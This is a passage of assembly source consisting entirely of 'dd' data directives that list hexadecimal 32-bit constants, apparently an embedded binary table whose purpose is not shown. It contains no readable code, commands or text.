0CDB16B86h, 9B06B73Ah, 0A3297AA4h, 1DAF4A1Bh, 0CBD98F2Bh dd 9FE8BBA2h, 3199AA4Bh, 1B17B7FAh, 0AFABFABAh, 1AB6AB50h dd 0DB06BF89h, 0BF1A3C91h, 0F39F0A6Ch, 0D91FA44Bh, 0BEEA4CB9h dd 0EEB38C00h, 0A6AEBF4Bh, 0BBC85ABBh, 0C66B7AD6h, 4716B6DBh dd 6D9AE6C2h, 37B54BC6h, 0A8B2C2B7h, 0AADC1F6Fh, 23B5AAD5h dd 0F754B14Ch, 6F6AEEC0h, 6A7DCA22h, 2C2DC29Ah, 96CC3069h dd 0B3C22AEBh, 0FC45C44Ah, 0A95BE521h, 81B26A14h, 6B8EB59Ah dd 0AB1C4FC4h, 4DAB7C40h, 6C50BEBCh, 0C52AA7C5h, 33C42AD4h dd 6C5DC57Ch, 0BE9C59A8h, 0FE8D0C54h, 85C64C5Eh, 0AB27C60Ah dd 0C65C63BEh, 67A6EC6Bh, 5B8DC4CCh, 0C3E6B2C5h, 74AE3ADDh dd 0CA33959Ch, 0B3D9C1C3h, 7B8FF715h, 98B6689Ch, 0ABCAC188h dd 0C9B8FAC5h, 0B58C6E7h, 0ABAC6AC7h, 0BC8B368Dh, 4B3A8C58h dd 0C85C2C96h, 0DBC77C23h dd 7833AD9Ah, 0A55B8CC8h, 19893C71h, 0DBFB9C8Ch, 9D6B1E8Fh dd 43C1490Dh, 2909AF0Ah, 0A40B2097h, 0C0CBA5h, 8A2799DBh dd 9C0C09A4h, 9A42BF9h, 8CA4CA2Bh, 8A1CA7CAh, 0F3AF0C1Ch dd 0FB058FCAh, 97CBFCBEh, 0F1C1090Ch, 0FBA59B5Ah, 776B0AAEh dd 5CC21C99h, 4B47899Ch, 0A41BE193h, 0C2B8189Fh, 3B419EFBh dd 0A47B52BBh, 1BA9B83h, 89DDCDAAh, 0BDE997A0h, 0D5CD7BC9h dd 0CB4AB80Ch, 0A03BB6B4h, 0FAB6EBF8h, 6B3CB369h, 0CCB94397h dd 4AA7EC48h, 5C9AB57Ch, 0C75C9CA7h, 0AF9ECBC9h, 0CB6597DBh dd 918BCC99h, 199EDBF2h, 7A2AB64Bh, 0A2FB66D0h, 0D0FE7CDDh dd 18B74A30h, 3B6FA2ECh, 0B6CB76A0h, 0DD03B35h, 0AB83CFDCh dd 0D109D1C7h, 0E8A3DA4Bh, 5CD2B9F9h, 0C32CCC77h, 0FCAD0C4Eh dd 6BB7BD8Ch, 0BD0BD1C9h, 4CBD29CAh, 0B9799D5Ah, 0CA3B879Eh dd 30ADBBCFh, 0BCD9959Dh, 0B35D04B3h, 209F6CACh, 2D1CD36Dh dd 0CEE892D1h, 48BA4937h, 46D5C73Bh, 0D26C5BD2h, 19B91CFBh dd 7B96CEBDh, 0D1FBB2BDh, 0CED42B45h, 0CCE5BD4Bh, 0D59C74D0h dd 46D54D38h, 9D459CEDh, 0CE3CE4D5h, 0E3B98A0Eh, 5D3BD68Ch dd 0D29BA3D5h, 4B756BDFh, 0FC43B28Dh, 0D0CC9E8Ah, 9DB42CA5h dd 4CC1B9CBh, 0C03D08AFh, 0ABA3FBA3h, 9CBC98ECh, 0CC4D568Dh dd 4AFACB2h, 0ED78AFBCh, 0CB0D77A1h, 15D06B39h, 1B08AF3Ch dd 0B68BFDCAh, 0B1CA0BEDh, 8906B4FCh, 0C0DBFCD8h, 53D8AB2Fh dd 6C69D707h, 0C6CC8CA6h, 276D7C84h, 165CDA5Ch, 0DA3C62DAh dd 8FD4968Ch, 768ADAFAh, 0DAADA9C3h, 0AA1CFEF4h, 25C20A89h dd 0CDB4CFADh, 0DAB844DBh, 0BDDADC89h, 0F834DC2Dh, 0C8AC9BDBh dd 23DC8DC3h, 7CF9DC58h, 0DCEDC9DCh, 0AFDCB811h, 4DCFDCDAh dd 0DD17F1DDh, 0D9DD5BBDh, 2DD7801Dh, 0DDEDDAD7h, 0CEDDC7DBh dd 5DE3DDFCh, 925DB685h, 0BABBBAA2h, 0CDE4DD3Dh, 0DE179ADEh dd 0F1DEDD4Dh, 0BDEF798Dh, 0DF6DF2DBh, 0EBDF4777h, 4DFBDF7Dh dd 0DC1DF975h, 0A0E00DFCh, 9BE7DE6Dh, 0DC6C6FAEh, 9E01DFFh dd 0AE03AD1Eh, 0D71C5A9Ah, 11E0ADE2h, 6E0C7DFEh, 0D4CDB9A9h dd 19E12DF5h, 0DDFE6F9Eh, 0E1EE1AAEh, 0F6E14E1Bh, 0CCDB8BCh dd 0E26E1FDFh, 2AE1C6D8h, 2E2BE27Bh, 0E2CE296Dh, 21E28E2Fh dd 8C4BA51Eh, 0E1DE07C8h, 0B4E38E30h, 0CE39E2E6h, 0E3B6B5E3h dd 0B0E40E3Dh, 4E41E3F6h, 0E43693E4h, 8EE48E45h, 0CE49E476h dd 0E32A5FE4h, 0EAE23A61h, 4E4DE08Dh, 0E4FAAAE5h, 0FE16DE8h dd 0CE55E25Eh, 0E4B65AE5h, 0E60E5DFEh, 61E5F659h, 3654E64Eh dd 0E68E65E6h, 69E6764Fh, 8C47E6CEh, 0BE6A7C7Bh, 0C0C61E0Dh dd 0DE6DE37Dh, 0E76E6BE6h, 79E78E65h, 0CE7BE61Eh, 0E7EE5DE7h dd 81E55E7Fh, 4E4DE82Eh, 0E49E85E8h, 45E88E87h, 1E8BE8AEh dd 0AE8AE4h, 9E911CFh, 9E93E911h, 6B6E9665h, 0A0FFE98h dd 0C695E9C0h, 656E9DE9h, 98654E9Ah, 0F650EA2Eh, 0E4EE8EE9h dd 0F5A94E6Fh, 4CF7E33Ch, 0EA6E18E2h, 0A5EB2E92h, 46D3EA3Eh dd 0E966B0EAh, 0BA64EEB4h, 0C65DEB1Eh, 0E5EEA8EBh, 31DB8E57h dd 1DFAE17Ch, 0E9BE95EBh, 0C9EA7E94h, 0BEBBE94Eh, 0EB2ECBECh dd 0A0E9BECDh, 0F268EB9Eh, 0EA0EB9E9h, 0D9ED8ED3h, 4ECAECCEh dd 0ED2EB3EDh, 0C8ED0E93h, 1EBBEDAEh, 0ECFEE4EDh, 0DEEDBEE9h dd 4EE2E95Eh, 0EDDED0EDh, 8D661EC0h, 0EE8EC8Eh, 0EF8ED2EEh dd 0D5EF1EE4h, 9ED1EFCEh, 0EFAEDDEFh, 0FFEE6F01h, 0AECCEFDEh dd 0FEFEEEE9h, 0F08EFEEFh, 0C9F09F00h, 0CEFBED5Eh, 0EBFF0FF0h dd 0C2E62EF2h, 0AC41AACEh, 0EC7EB0E5h, 0FAF09F0Eh, 0DEFEF04Eh dd 0EF7EE2ECh, 0D7F21F10h, 0FE9DEDAEh, 0F1DED6F0h, 0EEF1CF06h dd 4EECEDFEh, 0F0AEE3EAh, 0A2F26EF9h, 0CF05EB7Eh, 662F14F2h dd 2BF2DEF4h, 0FF23F07Fh, 0F21F22F3h, 0F8F38F20h, 2F2AF0DEh dd 0EF5F2CF1h, 4FF4CF0Ch, 0DF33F366h, 0F46F46F4h, 3AF29F02h dd 6F16F3BFh, 0DA2E0EABh, 0DEB5E75h, 3F3FF22Fh, 0EF6F52F4h dd 1CF24F61h, 0EF02F64Fh, 0EF6F4CF4h, 47F49F4Bh, 0FF2BF4FFh dd 0F48EE1F1h, 56F52F40h, 0EAADB5Fh, 0EC3DE7AAh, 2AF5BF18h dd 0F29651Eh, 0EEAEA6F8h, 92EDEEBDh, 9F12EF0Eh, 0F87EE3EDh dd 0B7EDCEEFh, 5F2FF34Eh, 0F03F2AF8h, 94ECAF91h, 0EE1F8BFh dd 0F76F42F9h, 71F78E56h, 0EEC4E15Eh, 1A66770Dh, 0F179D7C3h dd 368F62D6h, 6B4F5DF1h, 9BFA9EA5h, 80EF7B3Fh, 10FEC252h dd 0EAC8052Ch, 0B2DE9E50h, 87EAFA23h, 0FA607D3Bh, 0D7ECEF7Eh dd 2FC1FC0Eh, 0FC4FC3FCh, 0C7FC6FC5h, 0AFC9FC8Fh, 0FCCFCBFCh dd 0C0FCEFCDh, 65CFAEFh, 0FB207EFBh, 58FB57F4h, 0F677FA0Eh dd 0EC6FA583h, 0D3E30FD1h, 7FB4FD5Fh, 9ABF17DBh, 0BDA55FDAh dd 0E4CFDEFh, 740FB3FEh, 53F7BFD7h, 0A0769ADCh, 0E2CFE9F1h dd 0ED7A0FEBh, 3F59FE3Fh, 9E5445E7h, 0F4793FF2h, 4FF100Fh dd 0D058240Eh, 98441E0h, 0D8642E15h, 8843E1D0h, 0A44E2511h dd 0BE9F50C8h, 8FC7E79h, 5A0C9653h, 3ED06CB6h, 0ACC65366h dd 0CE67355Ah, 0A75BED88h, 2F150606h, 79580804h, 0BACC44F2h dd 0EDA8D57Ch, 194C9684h, 9D3B6F35h, 4C964C85h, 0F63B1F98h dd 57CBEDFEh, 0A853E9D1h, 0A54EA551h, 55EAD55Ah, 6EB559ACh dd 62F52AE5h, 471D8DC6h, 0F259048Ah, 2D95CA64h, 599CC65Fh dd 9DCE66F3h, 0CFE7AD4h, 4F686D4Ah, 9548FEA3h, 0D7DAED32h dd 81C05FEFh, 5C260F05h, 0AFC530D8h, 47A391Ah, 49A49649h dd 0BA592A94h, 0A6932984h, 793A9C4Dh, 8D66A4FAh, 0D4CEB65Ah dd 53AB0A4Eh, 0A5BF5E67h, 661DF4FFh, 6BF5DADDh, 0CF65B1D8h dd 0E05A883Eh, 4AF37E45h, 18E69B0Bh, 8F6FB39Ah, 5B564ACFh dd 0B8662DB9h, 835A7F9Bh, 0E8F3D766h, 0AF53A7D2h, 0FADD5DA6h dd 0B5D9EC75h, 0AFF8BED3h, 0BCD2BBDFh, 2E058F7Ah, 0CA5A723Ch dd 0D5BF2F6Ch, 35B3972Ch, 4190CA63h, 57925653h, 0F7A876E9h dd 0DFD7E6A9h, 3007FFFh, 2407014h, 40F0340Bh, 70541304h dd 741B0641h, 1E8441B0h, 0A427094h, 42F0B42Bh, 0D0D4330Ch dd 0DC3A8BC0h, 0E87CC3E7h, 0F10EAF01h, 2E48F994h, 0EB319CE0h dd 0B2D6C9BCh, 0E2CCADCCh, 0F8B3AB9Ah, 998FA18Ch, 0ED298269h dd 0D9FA7E9Dh, 832043AFh, 22487214h, 48F2348Bh, 72549324h dd 749B2649h, 0A32849F2h, 4A7294FEh, 0F2B4AB2Ah, 0D4B32C4Ah dd 0BD0FC9B2h, 60B4A773h, 340DE9C8h, 115C5265h, 5B8D16ADh dd 42E5462Fh, 6B9ACCF3h, 98E6C1AEh, 0A7A0E83Dh, 0FA96EF47h dd 0FB3E4F70h, 404FF3F4h, 50741503h, 0F4350B42h, 55134450h dd 1B465174h, 4851F475h, 52749523h, 0F4B52B4Ah, 0EBFC82CFh dd 0F67A1E87h, 689C63D8h, 0AE4E69AAh, 0C84548Fh, 83D4E2CDh dd 96F73931h, 3855E6B3h, 0F3399B1h, 0CD453840h, 0D5732DC7h dd 7B5E5775h, 6057F5F5h, 0D8761583h, 6FEA0D5Dh, 21007A53h dd 0AE6898E4h, 0C733C6A9h, 0BD2E24CEh, 6F6B9117h, 0A244E646h dd 836E1A66h, 4E4EC3F9h, 1F67A9F3h, 0F735CB62h, 45012D5Ch dd 0DB765D77h, 7CC8F775h, 5C47CCFAh, 871D954Eh, 1D5E939Ch dd 0A9543CD3h, 193D8E3Dh, 39A913DFh, 6424736Eh, 0A9E8770Fh dd 0E0799E07h, 8861F871h, 62789623h, 0F8B62B8Ah, 0D6338C62h dd 0FE8E6378h, 63F8F63Bh, 79164390h, 364B9264h, 539464F9h dd 7B629956h, 1D78865Ah, 6771E875h, 34C2400Fh, 0CB5155E9h dd 175A753Ah, 9E35009h, 0A768C418h, 0AA79511Eh, 0BC6EA80Fh dd 661A6CF1h, 8EAFB984h, 0AD29083Dh, 0EA348D34h, 0B3AC6AE3h dd 0AE6B7AD6h, 6BFAF6BBh dd 7B16C3B0h, 36CBB26Ch, 0D3B46CFBh, 0B66D7B56h, 6DFB76DBh dd 7B96E3B8h, 8FDACEEh, 0A1A9A903h, 3D8EC3DEh, 19863976h dd 26F1AC68h, 819C6CE9h, 9CBB4706h, 741F26A1h, 0AD82125Ch dd 0FA1E839Fh, 0BF07A3DAh, 986A33C6h, 0D2974629h, 0EA1A9108h dd 7D10F83Ah, 374BD274h, 53D474FDh, 0D6757D57h, 75FD775Bh dd 7D9763D8h, 0B76BDA76h, 73DC76FDh, 0DE777DD7h, 74FDF77Bh dd 4430EC3Bh, 0F8F7A9F8h, 774F0FE3h, 0C1F03CD1h, 0F0FC29BDh dd 86271269h, 721C771h, 65A2685Ah, 0A49BBCACh, 9AB38E95h dd 2724C260h, 31845E18h, 0F0FEFCDFh, 7D7F57D3h, 0FF77DBF6h dd 97E3F87Dh, 0EBFA7E7Fh, 0FC7EFFB7h, 7F7FD7F3h, 0FFF7FBFEh dd 5006007Fh, 20240380h, 0C118EFCh, 19A30461h, 0DF85D8CDh dd 6A2A31BAh, 0D32CAE5Ch, 607A0E18h, 449938F0h, 48F00C4Eh dd 7B67D0Eh, 6F706B2Bh, 4708E44Eh, 9BD6FE38h, 8550A494h dd 0B61642Bh, 1842F85Dh, 338650C6h, 6D0D61A4h, 0E61C4378h dd 0E0DA8730h, 0F87D0F61h, 51062043h, 62244388h, 44788D11h dd 89512624h, 1362644Bh, 2844F89Dh, 29245116h, 9835CA01h dd 9070C241h, 0E8D718E3h, 11A0E606h, 8329C2BDh, 8952A282h dd 0BD51DA3Dh, 838F5E0Ch, 7360F19Ah, 630CA398h, 0D539A7CCh dd 0A70951C0h, 0A5C4A261h, 0E47B28B0h, 0F8FD1F63h, 52064047h dd 64248390h, 48790D21h, 91522644h, 2364648Bh, 4848F91Dh dd 93925246h, 2D2564A4h, 0C61C7D9h, 31211C43h, 0C5643A86h dd 45D9EEADh, 1C61FE5Bh, 61886FE3h, 0D060B50Fh, 23596E67h dd 1CD6064Fh, 19032238h, 3289111Eh, 6549F1AAh, 981A8310h dd 7D2F64CCh, 6604BF9h, 24C39853h, 798D3166h, 5326644Ch dd 6664CB99h, 4CF99D33h, 9A534668h, 3566A4D3h, 6C4D79ADh dd 0C4189266h, 44310A28h, 38930CC2h, 0FAAF59EBh, 0A948C0CDh dd 119A5313h, 9B4AB8Dh, 4AF54907h, 8A84F56Dh, 3C893CAEh dd 7C4F09DFh, 0FB9F53E6h, 0FD3F67E4h, 6804FF9h, 2503A054h dd 7A0D4168h, 54268450h, 68650BA1h, 50FA1D43h, 95D40688h dd 380FA972h, 0FA8E51A8h, 864CA898h, 7A338DFBh, 0EC9493C3h dd 0B4178CE3h, 71F33B5Eh, 48A277CFh, 5819CD85h, 43A9F10Ah dd 0A654C698h, 4D69A533h, 9C537A6Dh, 3BA754E6h, 7D4F69E5h dd 4E3C536Ah, 0D91E2531h, 61A03809h, 4E286451h, 2299E3A5h dd 0C68A4434h, 0A4CCFC02h, 556AA511h, 0AC557AADh, 5BAB5566h dd 576AE5FEh, 0AE55FABDh, 0F69CB472h, 0A5540798h, 807CC1BAh dd 656BAD55h, 0FADD5B6Bh, 55C6B856h, 0AB1558AEh, 4EBAC8E1h dd 0AE70720Dh, 5F6BE57Bh, 0C057FAFDh, 75B03606h, 495DC685h dd 0B2A8804Ah, 6582AD32h, 0FB1D636Ch, 0D646C858h, 2C3584B1h dd 553B1306h, 0B35666C9h, 676CE59Bh, 0CA502B3Dh, 97B0F596h dd 655B6B45h, 0C85A8B51h, 65ABB3E2h, 0DB5D6B6Dh, 559AD0DAh dd 0C5956CB1h, 8E91F44Ah, 0B756BC5Ah, 6F6DE5BBh, 0D1DB1AE5h dd 6AAF559Eh, 8388595h, 26DF5B82h, 65CBB957h, 0AB81436Eh dd 0C1D0354Ah, 0EC58ED26h, 1B7B8B57h, 0B9B720EAh, 3965A581h dd 0F05DFBB7h, 76BBB43Ah, 2018291Dh, 55A15D27h, 0FDD7ABB7h dd 0C16E39C7h, 4408678Ah, 0C004FEBBh, 0D0CBEB2Bh, 0BF33EAFBh dd 0C0EFDCFCh, 83DFDBEAh, 0FDA09802h, 5814005h, 1F03558Ch dd 500BED8h, 5BFD81B0h, 0D7E707E0h, 0FEFD54C1h, 5BF73F6Fh dd 540B05E1h, 70DD99C1h, 0D5ABC73Eh, 613AB0Fh, 746C45E6h dd 0ADDEABA7h, 0B71B97B2h, 5A33C678h, 0E6F90B81h, 5E19BE96h dd 0C3B86E8h, 0B863038Dh, 0F1A604ADh, 616C2556h, 0C7F3C306h dd 8E2FF643h, 0ED55C8Bh, 3C85837h, 9B6431BDh, 670FCAFCh dd 8DE5C435h, 4BD15449h, 0E2CAAF5Dh, 6E1021Ch, 0FFC602Bh dd 16427C56h, 91719E31h, 0AE12BFFh, 38C27863h, 23843356h dd 0C335922Ch, 0BE44C219h, 0DC2791F0h, 0D9E6FBE6h, 0E7C609CDh dd 0E70CDD9Dh, 0D019B33Eh, 0A0F1FE80h, 36646CEFh, 88D098F3h dd 0D19FB076h, 231CE67Ch, 1E44C8DAh, 0FCE59BF4h, 39A74AE8h dd 0F3AE3AD1h, 0E8ECD7A4h, 0D2F9EF3Eh, 8D33E696h, 33679CF5h dd 0ABD47A4Bh, 45AA3486h, 2F53E97Dh, 0C6519E1Ah, 425D94EAh dd 789F2B62h, 47FE5BBDh, 0AC14F97h, 1463706Eh, 2C84E89Fh dd 670F91FAh, 0BBF96A8h, 9EFEB516h, 36E92D05h, 85C33B43h dd 3BAA73B6h, 0A333693Dh, 5694D17Ah, 7C1BA175h, 1AA75761h dd 74F6E3DBh, 6CFD4DA6h, 0C75B734Ah, 0B4B75681h, 4E6E4C8Fh dd 0E6D9BB4Bh, 19BAF716h, 0E7796EFDh, 16DDD65Bh, 0FD9FBC37h dd 99CF78EEh, 0F596E1D0h, 0EB4C0590h, 0C47ADAABh, 5BF13655h dd 2E65AAB8h, 131462B3h, 2C27761Fh, 0D459089Eh, 50C41E63h dd 0DD997EB6h, 0D9F375EFh, 0B6D671E0h, 0EDBDEFAAh, 0E05A9F25h dd 0BBB9060Fh, 92E39DE9h, 9CDB1C13h, 0FF84746Eh, 8F7A69BCh dd 8EF6C13Bh, 1D19BEB4h, 0DCEF7FE7h, 0B6E6EDE4h, 686DFB9Ch dd 0E858F37Ch, 0C176A738h, 73E4AE5Bh, 0F5E03B6Bh, 93EB916h dd 1696E52Bh, 4419CA96h, 0CC524E2Fh, 829C67EBh, 0F608B8E2h dd 0F6711228h, 1E629C44h, 0C745F8D3h, 96F4FD03h, 0D5DEDBEFh dd 51D234AEh, 0BFA1F1FEh, 0F775EA7Dh, 4EFBB2F6h, 3BFB93E7h dd 37D68A9Fh, 0EEBFEE1h, 9BE3B8F0h, 0FA278AEEh, 6FBD13D1h dd 0EF1BF3BBh, 0CEBA6F88h, 0A8E4BEE1h, 79F1BD23h, 6BD5E7CFh dd 9311759Dh, 465767D8h, 0FBD95571h, 9B138A0Ch, 3B310215h dd 0AC113DAh, 0EDC2D3B6h, 0C1733E3Dh, 67682DE3h, 98E63D37h dd 5DC9BDCFh, 2799FB7Eh, 0AF86DDDEh, 0DE73CBBDh, 0BE739CFBh dd 3DA797F0h, 77BDAFF3h, 0F7DF439Dh, 0EEBCE66Ah, 0E3754DADh dd 0D3E7FF1Fh, 9ABBCBFh, 0BFA2F2BEh, 709F3D2h, 3B49D6FDh dd 0E2D6AC5Ch, 4FF6236h, 0A713BB1h, 0F5C27C81h, 2D05A767h dd 7D8B115Eh, 0B8F8BA96h, 63B476EFh, 33FFDF6Dh, 3A834D35h dd 0A9400356h, 0FBA1B57Bh, 0B66B6FB3h, 813E4B6Bh, 0EBC33703h dd 3C7B673Fh, 3DC08356h, 5C0C4053h, 40A34B40h, 0C53833FEh dd 43FDB7BBh, 402B9BB7h, 0FC07C0Eh, 9B964084h, 0B57C12BBh dd 72C0C370h, 1B03C0A3h, 2E7AAB3Fh, 0ACAD9B86h, 18D53F52h dd 4BF736FEh, 0BF885184h, 58844BF9h, 0BFC3FB0h, 0AF0B8F32h dd 233C1B01h, 0DB27AABCh, 425AAF31h, 0AAC19280h, 0B312C1A2h dd 0B882AC41h, 8B05A87Fh, 0EBB384EBh, 3F907FC1h, 0FB051BD7h dd 5BD9855Bh, 0C2740336h, 0DF3C3C24h, 3286C33Bh, 0C362B543h dd 28287B1Ah, 3C292AA4h, 0BD33D2BFh, 59081074h, 0F04FBD70h dd 84FBB441h, 55857857h, 1C354218h, 0C42C4244h, 88C38A7Fh dd 0AAE1439Ah, 85AAAAC3h, 3EB3043Bh, 0F844C3E4h, 44143084h dd 4C44BC43h, 84444434h, 42A44528h, 478592ADh, 83B38564h dd 85387FBFh, 4CC4AC2Dh, 2C55454Ch, 0AABAB144h, 87ACC44Eh dd 307EB2DBh, 53851C5h, 54449BB1h, 72AD435Ch, 434B1F43h dd 5E327A83h, 0D4604224h, 2853CC30h, 2240FB4Dh, 44654644h dd 0C3328442h, 85B94B9Eh, 7AAD06D2h, 2AF2D2C5h, 53179C47h dd 4303B44h, 0C37C4B44h, 5EC60AACh, 0FEB72FC4h, 2320392Ah dd 0A84C3446h, 62C5FB90h, 27FC664h, 0BFCC5F47h, 84476422h dd 0EAACC692h, 0BF41A0C4h, 6D05AAAEh, 3C6CBB58h, 0C76C5C85h dd 3AC1740Bh, 0B418379Bh, 0B48480B3h, 0C4352432h, 3C0DC033h dd 0BAAB9434h, 343473C3h, 0BB79B7E3h, 40434FBDh, 0A5B39B02h dd 5BA948BBh, 34C47635h dd 1B6A3E3h, 64903664h, 400C17C8h, 0FE411C18h, 0D373482Bh dd 0C8BC8F3Fh, 16B9FC04h, 0A27E465Ch, 3D02BA47h, 45ACB2D1h dd 205AAB54h, 8588DE86h, 80C6E420h, 639BBCDAh, 3E7496C0h dd 0EA3BDBE5h, 24A43CA3h, 0BB93EB48h, 93B963EDh, 7BE839F4h dd 0BC6B93BEh, 9138F3DDh, 3BA7490Ch, 0BC13A346h, 0BE499C96h dd 4BA34073h, 3EBC1037h, 43409CA8h, 13E03A9Bh, 47AA6F28h dd 1C275C9Ch, 0D4462350h, 85F85AAAh, 0A13FA85Fh, 839AB0D4h dd 0B584A64Ah, 724883EFh, 0F343CB0Bh, 34DCA94Ah, 50CA6B9Eh dd 0B0FE395Bh, 0EBB94AA4h, 0B9B3C9CBh, 0AFCC13C0h, 0FC784CACh dd 463BBCCBh, 11B91CC3h, 2B34CC14h, 0CAB3C8B5h, 0BBBCB3BFh dd 0F4B6C993h, 0B9939AB6h, 0B7AA3280h, 0AAA6C9BCh, 0C7BC1AACh dd 0FB4BB4BAh, 44A1CBDBh, 3254CC4Ah, 0A3B9F472h, 0C154684h dd 0CC5488BCh, 0DECBF3CCh, 84DE4B3Ch, 4E3BE5BCh, 0E1B24BA0h dd 4BCB4CCCh, 0CDCCE447h, 0A4B69CC1h, 0CC91BB8Bh, 3C93CDB7h dd 5E3EA37Fh, 8C574D6Ch, 44F2E0CBh, 0A00592B0h, 6332C31Ch dd 4A9368CCh, 0B4CADBE0h, 3CF5C62Ch, 4F44E141h, 0C2C834EDh dd 44E23703h, 0BBD3DFCDh, 0E0BE44A5h, 4C75BECBh, 3C040237h dd 0DC4AE4F5h, 7BC94B13h, 0BED4F94Ah, 0CB3FF4D2h, 3C133E44h dd 469C27C7h, 0B9A554F0h, 7ACD4D94h, 481BEDD0h, 93392472h dd 0E485C0F4h, 0C8E473D0h, 0FDCAF486h, 0E50C3013h, 4074A9CFh dd 14B1EB3Ch, 24B2D02Ch, 513400C1h, 0B7C81321h, 924EFEC3h dd 2D16C0DCh, 0C114943Eh, 73C9936Fh, 44984DEBh, 0C13495D1h dd 0B127EBCAh, 7CB82A68h, 1EB49CCDh, 772E650Bh, 0A527ACFCh dd 455B00C9h, 13427435h, 1D24BAC9h, 429D25ABh, 28AE5458h dd 852FACE5h, 0ADDC66D0h, 3252A27Bh, 89A327F4h, 0C19C56A7h dd 6AD26509h, 5D385334h, 0D38D32C5h, 0C8257283h, 7BCFAEF0h dd 0A763ADCDh, 3F53A537h, 0FD39C42Dh, 3852C6D3h, 4149DBD1h dd 4AF0543Dh, 2C854429h, 3EA92D42h, 0A5192DD5h, 0CDBC7330h dd 32475D30h, 3D1AD4ACh, 0C63510D3h, 77B0DC72h, 0C545D4C2h dd 35BD3D3Ah, 4847C547h, 7287C795h, 0AAB46742h, 8AB7C61h dd 0BCDBD314h, 0D4FA7E54h, 46AC7550h, 7D2EA34Dh, 0C89B3A2Ch dd 8F350358h, 9D20B524h, 0CE5D1F51h, 1136DC83h, 43E8D1BDh dd 0C84415C8h, 11CD03FFh, 0CB4F51F5h, 568C0E40h, 9C4C2D65h dd 6D62351Bh, 337C80B5h, 5040386Ah, 8655ADFEh, 353E55BAh dd 50F2C755h, 0E23A7506h, 0CCB54C74h, 4AC3C750h, 8C501CC7h dd 6BE5CC9Ch, 0CF94BFB7h, 744E74AAh, 74EDD14Dh, 0B714ABCFh dd 7956ED6Eh, 0AB55705h, 0D4357154h, 954ECAC8h, 9575CD33h dd 4C257A4Ch, 0EBCE2CC6h, 0ACD156A4h, 0CE34CA57h, 833A64C6h dd 54CAD13Ch, 4C83AA3Ah, 883B9CCEh, 930C347Ch, 4FB56E8Bh dd 822B5D81h, 4D523F2Dh, 583D26A3h, 4CCD24E1h, 44EAD755h dd 0CB63C24Eh, 7CCE94E3h, 1D7DCE0Dh, 505CF6CBh, 0A5BC9CEAh dd 0ACE9C85Ch, 35957ED9h, 93CE5D92h, 0CBCED81Dh, 0D2D87DBAh dd 27596A55h, 64C0CB2Bh, 0CB5D77D7h, 0E9369CFAh, 857BD993h dd 0BEED7AD7h, 0F05AA5AAh, 4CE55123h, 5ACCB04Eh, 0FBDAB507h dd 0FDA0D7FAh, 2835A4D6h, 0BC5A6AC2h, 1D0BCBA2h, 0D17D5E40h dd 0BB55FD6Dh, 848CCFA5h, 578CCED6h, 7D569DB1h, 0BC97C94Dh dd 0BC65BE40h, 0FED22573h, 79506D8Ch, 250FD66Bh, 372C005Ch dd 80358DC2h, 6C77D685h, 2A6D095Bh, 0A84F0DB8h, 75B62CDDh dd 472DCEA8h, 0B95CFABFh, 0FDCB5922h, 0D2DDB7ABh, 0BDCDAC4h dd 0ED672BE5h, 300DD12Ah, 965323A0h, 3ABEDD2Ah, 5D52D95Dh dd 0C6DDCDDAh, 9DDD5D22h, 0DCD5DB2Bh, 0E15DED47h, 0FD3A5E1Dh dd 5B949D5Dh, 0E55E4DE2h, 8DE3455Dh, 5E5DE0CDh, 355E8DE8h dd 987C9C34h, 0B8582F07h, 0A34D9429h, 0EDEE5E92h, 0C692F05Eh dd 1C079879h, 12C4DEC0h, 79A0D81h, 0F55F4DEFh, 0B5F02E4Dh dd 5F34F0DEh, 0F95F5986h, 5540A7D5h, 2F0DFAC5h, 34076DF0h dd 3802A920h, 0DED879BFh, 0D9E00DF9h, 95FBD38Dh, 280602ACh dd 7687CA6Fh, 0BD42DEB8h, 4D98761Eh, 3A7EE01h, 3609D45Eh dd 0AC760AC4h, 0D627D60Bh, 1E050684h, 0D8335C5Fh, 0CA81E08h dd 8E12610Eh, 0E04A84A7h, 0B9DF2605h, 2DF4276Ch, 611A8161h dd 61FE8E17h, 0F08685B7h, 1A0C5FDDh, 607A0D00h, 1E61DE19h dd 2D23AAE6h, 0AC39EA27h, 1EDE7DA7h, 5623622Eh, 0AA6D2BA8h dd 0BC8E3620h, 7E23E082h, 5FA62862h, 6753528Ah, 25371348h dd 62CE28D7h, 3B257E2Dh, 619E27ADh, 0A574BA62h, 2D631E2Dh dd 0FA52A576h, 0B8552E2h, 23635E32h, 1952294Eh, 99E97EA3h dd 0F274626h, 0BE36624Ah, 0E3760163h, 0B420A26Fh, 0A5376258h dd 28CE3A2Eh, 0E41E3Ch, 0A1E863D6h, 1C506D06h, 0F496AE3Fh dd 20F8E40Ah, 5F5E4864h, 9D8F85DEh, 713520B1h, 1526400Bh dd 48E3B238h, 9DE864EEh, 64A86364h, 4CE4662Bh, 0F647A5AEh dd 5E5E5464h, 54E51650h, 0A6356521h, 654E538Fh, 55DE1659h dd 0FE51A0AEh, 65865297h, 5E659E4Eh, 665ADB6Eh, 0E5C65691h dd 5EE4DE57h, 0FDCB662Eh, 0E4BE38E5h, 5DE47313h, 3E676636h dd 63466454h, 67E66657h, 9E0A66AEh, 0E5B64A5Dh, 8F5EFE60h dd 6B66265Ch, 8D3F66FEh, 95564B66h, 58E4D665h, 96746706h dd 650E6C53h, 6E17F66Dh, 4E73E61Eh, 44BE7967h, 77E5BE71h dd 0CE79E6A6h, 675E0B67h, 4C677656h, 0D666E786h, 0AEFE8167h dd 7FE6DE7Ah, 4E81E7C6h, 0E7E544E8h, 7B99EE76h, 9680E736h dd 689873ABh, 8B68AE8Ah, 68C68BEh, 68DE8D09h, 8F68EE8Eh dd 0E9068FEh, 691E9169h, 93692E92h, 4E94693Eh, 68989069h dd 9568AA7Ch, 8E98697Eh, 699E9969h, 93E9AE9Ah, 2AABE966h dd 672E7F68h, 0B8E88E53h, 7A8BE89Ah, 6A1EA117h, 8B87895Eh dd 9E96873Ah, 6A2072E8h, 2B6A6EA6h, 0B69C6A31h, 0E8769D2Ah dd 0C0E88683h, 0D06C873Ah, 86A07C07h, 0AF050855h, 0EB06AFEh dd 8506AF6Bh, 0B36B2050h, 3EB46B2Eh, 6B4EB56Bh, 0B76B5EB6h dd 7EB86B6Eh, 6B8EB96Bh, 0BB6B9EBAh, 0BEBC6BAEh, 6B16BBEBh dd 55EB06BEh, 0F87C06A0h, 9086A87h, 0EAC278FEh, 0AE07B878h dd 5EC504F6h, 6C6EC66Ch, 0C86C7EC7h, 9EC96C8Eh, 6CAECA6Ch dd 0CC6CBECBh, 0DECD6CCEh, 7C6BFECh, 